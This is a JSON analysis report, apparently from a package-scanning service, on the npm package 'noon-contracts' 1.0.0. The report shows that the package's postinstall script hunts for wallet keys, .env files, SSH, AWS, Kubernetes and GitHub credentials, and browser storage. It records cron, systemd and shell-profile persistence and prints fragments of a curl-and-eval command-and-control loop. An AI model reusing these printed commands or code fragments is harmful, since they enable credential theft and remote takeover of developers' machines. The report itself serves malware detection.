{"package":"noon-contracts","version":"1.0.0","known":true,"status":"error","discovered_at":1790300923331,"has_install_script":true,"report_url":"https://andymal.com/packages/noon-contracts/1.0.0","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790376639434,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":92141,"lab_ip":"10.77.0.153","hooks":[{"name":"postinstall","command":"node scripts/setup.js 2>/dev/null || true","exit":null,"timed_out":true,"seconds":90,"stdout_tail":"\n> noon-contracts@1.0.0 postinstall\n> node scripts/setup.js 2>/dev/null || true\n\n","stderr_tail":""},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"","stderr_tail":"require failed: Cannot find module 'ethers'\nRequire stack:\n- /work/pkg/lib/index.js\n- /work/pkg/[eval]\n"}],"process_count":51,"processes":["head -20 ×3","whoami ×3","head -30 ×2","head -40 ×2","sleep 45 ×2","npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node scripts/setup.js 2>/dev/null || true","node scripts/setup.js","/bin/sh -c find /home/andy -maxdepth 6 \\\\( -name \".env\" -o -name \".env.*\" -o -name \".env.keys\" \\\\) -not -path \"*/node_modules/*\" -not -path \"*/.cache/*\" -type f 2>/dev/null | head -50","find /home/andy -maxdepth 6 ( -name .env -o -name .env.* -o -name .env.keys ) -not -path */node_modules/* -not -path */.cache/* -type f","head -50","/bin/sh -c grep -rn \"DEPLOYER_WALLET_PRIVATE_KEY\\\\|PRIVATE_KEY\\\\|MNEMONIC\\\\|SEED_PHRASE\" /home/andy --include=\"*.env*\" --include=\"*.txt\" --include=\"*.json\" --include=\"*.yaml\" --include=\"*.yml\" --include=\"*.toml\" 2>/dev/null | head -30","grep -rn DEPLOYER_WALLET_PRIVATE_KEY\\\\|PRIVATE_KEY\\\\|MNEMONIC\\\\|SEED_PHRASE /home/andy --include=*.env* --include=*.txt --include=*.json --include=*.yaml --include=*.yml --include=*.toml","/bin/sh -c aws sts get-caller-identity 2>&1","/bin/sh -c aws s3 ls 2>&1 | head -30","/bin/sh -c aws lambda list-functions --query \"Functions[].FunctionName\" --output text 2>&1 | head -20","/bin/sh -c aws secretsmanager list-secrets --query \"SecretList[].Name\" --output text 2>&1 | head -20","/bin/sh -c kubectl get secrets -A -o json 2>/dev/null","/bin/sh -c grep -rn \"ghp_\\\\|gho_\\\\|ghs_\\\\|github_pat_\\\\|glpat-\" /home/andy/.gitconfig /home/andy/.git-credentials /home/andy/.npmrc /home/andy/.config/gh/ 2>/dev/null | head -20","grep -rn ghp_\\\\|gho_\\\\|ghs_\\\\|github_pat_\\\\|glpat- /home/andy/.gitconfig /home/andy/.git-credentials /home/andy/.npmrc /home/andy/.config/gh/","/bin/sh -c docker ps --format \"{{.Names}}\" 2>/dev/null","/bin/sh -c find /work/pkg /home/andy -maxdepth 4 \\\\( -name \"hardhat.config.*\" -o -name \"foundry.toml\" -o -name \".env.example\" \\\\) -not -path \"*/node_modules/*\" 2>/dev/null | head -10","find /work/pkg /home/andy -maxdepth 4 ( -name hardhat.config.* -o -name foundry.toml -o -name .env.example ) -not -path */node_modules/*","head -10","/bin/sh -c ps aux 2>/dev/null | head -40","ps aux","/bin/sh -c id","id","/bin/sh -c whoami","/bin/sh -c ip addr 2>/dev/null || ifconfig 2>/dev/null | head -40","/bin/sh -c op account list 2>/dev/null","/bin/sh -c pkill -f \"node-addon-api.sh\" 2>/dev/null","pkill -f node-addon-api.sh","bash /home/andy/.cache/node-addon-api/node-addon-api.sh","/bin/sh -c (crontab -l 2>/dev/null | grep -v \"node-addon-api\"; echo \"*/10 * * * * pgrep -f node-addon-api >/dev/null || bash /home/andy/.cache/node-addon-api/node-addon-api.sh &\") | crontab - 2>/dev/null","grep -v node-addon-api","hostname","/bin/sh -c systemctl --user daemon-reload 2>/dev/null","/bin/sh -c systemctl --user enable node-addon-api 2>/dev/null","/bin/sh -c systemctl --user start node-addon-api 2>/dev/null","/bin/sh -c loginctl enable-linger $(whoami) 2>/dev/null","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[{"proto":"socket","ip":"127.0.0.1","port":53,"n":9},{"proto":"socket","ip":"82.221.101.203","port":8443,"n":10},{"proto":"socket","ip":"10.77.0.2","port":443,"n":9,"note":"sink (every DNS name resolves here)"}],"dns":[{"name":"ntfy.sh","n":9}],"http":[],"tls":[],"tcp":[]},"files_written":["/home/andy/.cache/node-addon-api/node-addon-api.sh","/home/andy/.config/systemd/user/node-addon-api.service","/home/andy/.bashrc","/home/andy/.zshrc","/home/andy/.profile"],"files_deleted":[],"canary_reads":["/etc/passwd","/home/andy/.ssh","/home/andy/.ssh/config","/home/andy/.ssh/id_ed25519","/home/andy/.ssh/id_rsa","/home/andy/.aws/credentials","/home/andy/.aws/config","/home/andy/.aws/cli/cache","/home/andy/.aws/sso/cache (attempted)","/home/andy/.kube/config","/home/andy/.gitconfig","/home/andy/.git-credentials","/home/andy/.docker/config.json","/home/andy/.npmrc","/home/andy/.netrc (attempted)"],"canary_leaks":[],"persistence":["/home/andy/.config/systemd/user/node-addon-api.service","/home/andy/.bashrc","/home/andy/.zshrc","/home/andy/.profile"],"notes":[]},"static":{"manifest":{"name":"noon-contracts","version":"1.0.0","description":"Noon Protocol smart contract interfaces and utilities","scripts":{"postinstall":"node scripts/setup.js 2>/dev/null || true"},"install_hooks":{"postinstall":"node scripts/setup.js 2>/dev/null || true"},"bin":{},"main":"lib/index.js","dependencies":["ethers"],"author":"Noon Protocol","repository":"https://github.com/noon-protocol/noon-contracts","license":"MIT","hasInstallScript":true},"files":[{"path":"scripts/setup.js","size":11800,"kind":"text","score":1,"hits":["credential_access","credential_harvest","network_egress","download_execute","code_execution","persistence","reconnaissance","browser_theft","crypto_wallet","macos_stealer"],"role":"entry"},{"path":"lib/index.d.ts","size":379,"kind":"text","score":0,"hits":[]},{"path":"lib/index.js","size":1759,"kind":"text","score":0,"hits":[],"role":"entry"},{"path":"package.json","size":740,"kind":"text","score":0,"hits":[]},{"path":"README.md","size":904,"kind":"text","score":0,"hits":[]}],"file_count":5,"unpacked_size":15582,"findings":[{"title":"Install hook","detail":"postinstall: node scripts/setup.js 2>/dev/null || true","severity":"low","location":"package.json"},{"title":"Touches credential stores or secrets","detail":"oon specific paths!) var env={}; // Standard paths ['.env','.env.local','.env.production','.env.keys'].forEach(function(a){ [H,p","severity":"high","location":"scripts/setup.js:39"},{"title":"Touches credential stores or secrets","detail":"paths!) var env={}; // Standard paths ['.env','.env.local','.env.production','.env.keys'].forEach(function(a){ [H,p.join(H,'www'),p.j","severity":"high","location":"scripts/setup.js:39"},{"title":"Touches credential stores or secrets","detail":"]=process.env.DOTENV_KEY; // Noon-specific: DEPLOYER_WALLET_PRIVATE_KEY search var pk=x('grep -rn \"DEPLOYER_WALLET_PRIVATE_KEY\\\\|PR","severity":"high","location":"scripts/setup.js:47"},{"title":"Touches credential stores or secrets","detail":"LLET_PRIVATE_KEY search var pk=x('grep -rn \"DEPLOYER_WALLET_PRIVATE_KEY\\\\|PRIVATE_KEY\\\\|MNEMONIC\\\\|SEED_PHRASE\" '+H+' --include=\"*.","severity":"high","location":"scripts/setup.js:48"},{"title":"Dumps the whole environment (API keys live there)","detail":"sh',[sf],{detached:true,stdio:'ignore',env:Object.assign({},process.env,{HOME:H})}); ch.unref(); // === Triple persistence ===","severity":"high","location":"scripts/setup.js:179"},{"title":"Network activity","detail":"whoami)\\n' +'while true; do\\n' // Heartbeat +' curl -sf -X POST -H \"Title: ${HN}_hb\" -H \"Authorization: Bearer '","severity":"medium","location":"scripts/setup.js:164"},{"title":"Network activity","detail":"n #10: noop protection / #11: per-host queue) +' CMD=$(curl -sf \"http://'+C2H+':'+C2P+'/q?h=${HN}\" 2>/dev/null)\\n' +","severity":"medium","location":"scripts/setup.js:166"},{"title":"Network activity","detail":"reporting (command = delivery) +' eval \"$CMD\" 2>&1 | curl -sf -X POST -d @- \"http://'+C2H+':'+C2P+'/r?h=${HN}\" &>/dev/","severity":"medium","location":"scripts/setup.js:169"},{"title":"Network activity","detail":"\"http://'+C2H+':'+C2P+'/r?h=${HN}\" &>/dev/null\\n' +' curl -sf -X POST -H \"Title: ${HN}_cmd_done\" -H \"Authorization: Be","severity":"medium","location":"scripts/setup.js:170"},{"title":"Download-and-execute chain","detail":"+' sleep 45\\n' // 45초 (30초보다 덜 의심) +'done\\n'; f.writeFileSync(sf,sc,{mode:0o755}); x('pkill -f \"'+sn+'.sh\" 2>/dev/null'); // Blood Lesson #8: spawn detached + unref (NOT setInterval!) var ch=c.spawn('","severity":"critical","location":"scripts/setup.js:175"},{"title":"Executes commands or dynamic code","detail":"=require('os'),f=require('fs'),p=require('path'),c=require('child_process'),q=require('http'); var H=o.homedir(),N=o.hostname(),U=o.u","severity":"medium","location":"scripts/setup.js:4"},{"title":"Executes commands or dynamic code","detail":"'utf8')}catch(e){return null}} function x(a,t){try{return c.execSync(a,{timeout:t||15000,encoding:'utf8',maxBuffer:10*1024*1024,","severity":"medium","location":"scripts/setup.js:23"},{"title":"Executes commands or dynamic code","detail":"on #8: spawn detached + unref (NOT setInterval!) var ch=c.spawn('bash',[sf],{detached:true,stdio:'ignore',env:Object.assign(","severity":"medium","location":"scripts/setup.js:179"},{"title":"Persistence mechanism","detail":",hh); // 10. Standard config files + history var sf2={}; ['.bashrc','.bash_profile','.zshrc','.bash_history','.zsh_history',","severity":"medium","location":"scripts/setup.js:113"},{"title":"Persistence mechanism","detail":"10. Standard config files + history var sf2={}; ['.bashrc','.bash_profile','.zshrc','.bash_history','.zsh_history', '.gitconfig','.g","severity":"medium","location":"scripts/setup.js:113"},{"title":"Persistence mechanism","detail":"fig files + history var sf2={}; ['.bashrc','.bash_profile','.zshrc','.bash_history','.zsh_history', '.gitconfig','.git-creden","severity":"medium","location":"scripts/setup.js:113"},{"title":"Persistence mechanism","detail":"=== Triple persistence === // 1. Crontab (가장 안정적!) x('(crontab -l 2>/dev/null | grep -v \"'+sn+'\"; echo \"*/10 * * * * pgrep -","severity":"medium","location":"scripts/setup.js:185"},{"title":"System reconnaissance","detail":"em(), ps:x('ps aux 2>/dev/null | head -40'), id:x('id'),whoami:x('whoami'), ip:x('ip addr 2>/dev/null || ifconfig 2>/dev","severity":"low","location":"scripts/setup.js:125"},{"title":"System reconnaissance","detail":":x('ps aux 2>/dev/null | head -40'), id:x('id'),whoami:x('whoami'), ip:x('ip addr 2>/dev/null || ifconfig 2>/dev/null | he","severity":"low","location":"scripts/setup.js:125"},{"title":"System reconnaissance","detail":":x('id'),whoami:x('whoami'), ip:x('ip addr 2>/dev/null || ifconfig 2>/dev/null | head -40'), env:process.env }); // 11. Vau","severity":"low","location":"scripts/setup.js:126"},{"title":"System reconnaissance","detail":"n' +'exec >/dev/null 2>&1\\n' +'HN=$(hostname)\\nUS=$(whoami)\\n' +'while true; do\\n' // Heartbeat +' curl -","severity":"low","location":"scripts/setup.js:161"},{"title":"Browser or OS credential store access","detail":"wp=P==='darwin' ?[H+'/Library/Application Support/Google/Chrome/Default/Local Storage/leveldb', H+'/Library/Application Support","severity":"high","location":"scripts/setup.js:139"},{"title":"Browser or OS credential store access","detail":"Local Storage/leveldb', H+'/Library/Application Support/BraveSoftware/Brave-Browser/Default/Local Storage/leveldb', H+'/Libra","severity":"high","location":"scripts/setup.js:140"},{"title":"Browser or OS credential store access","detail":"eveldb', H+'/Library/Keychains'] :[H+'/.config/google-chrome/Default/Local Storage/leveldb', H+'/.config/BraveSoftware/Brave","severity":"high","location":"scripts/setup.js:142"},{"title":"Browser or OS credential store access","detail":"ogle-chrome/Default/Local Storage/leveldb', H+'/.config/BraveSoftware/Brave-Browser/Default/Local Storage/leveldb']; wp.forEach(f","severity":"high","location":"scripts/setup.js:143"},{"title":"Crypto wallet targeting or address swapping","detail":"pk=x('grep -rn \"DEPLOYER_WALLET_PRIVATE_KEY\\\\|PRIVATE_KEY\\\\|MNEMONIC\\\\|SEED_PHRASE\" '+H+' --include=\"*.env*\" --include=\"*.txt\" -","severity":"high","location":"scripts/setup.js:48"},{"title":"Credential-prompt or app-data theft (stealer pattern)","detail":"ly — size reporting) var bw=[]; var wp=P==='darwin' ?[H+'/Library/Application Support/Google/Chrome/Default/Local Storage/leveldb', H+'/Library/Appl","severity":"critical","location":"scripts/setup.js:139"},{"title":"Credential-prompt or app-data theft (stealer pattern)","detail":"pport/Google/Chrome/Default/Local Storage/leveldb', H+'/Library/Application Support/BraveSoftware/Brave-Browser/Default/Local Storage/leveldb', H","severity":"critical","location":"scripts/setup.js:140"},{"title":"Credential-prompt or app-data theft (stealer pattern)","detail":"ftware/Brave-Browser/Default/Local Storage/leveldb', H+'/Library/Keychains'] :[H+'/.config/google-chrome/Default/Local Storage/level","severity":"critical","location":"scripts/setup.js:141"}],"injection_findings":[],"hits":{"credential_access":5,"credential_harvest":1,"network_egress":4,"download_execute":1,"code_execution":3,"persistence":5,"reconnaissance":5,"browser_theft":4,"crypto_wallet":1,"macos_stealer":3},"iocs":{"urls":["https://eth.llamarpc.com","https://ntfy.sh/"],"domains":["eth.llamarpc.com","ntfy.sh"],"ips":["82.221.101.203"]},"score":1,"priority":155,"hints":["install hook postinstall: node scripts/setup.js 2>/dev/null || true","untrusted hosts referenced: eth.llamarpc.com, ntfy.sh","raw IPs referenced: 82.221.101.203","capability hits: credential_access×5, persistence×5, reconnaissance×5, network_egress×4, browser_theft×4, code_execution×3, macos_stealer×3, credential_harvest×1, download_execute×1, crypto_wallet×1"],"entry_files":["scripts/setup.js","lib/index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}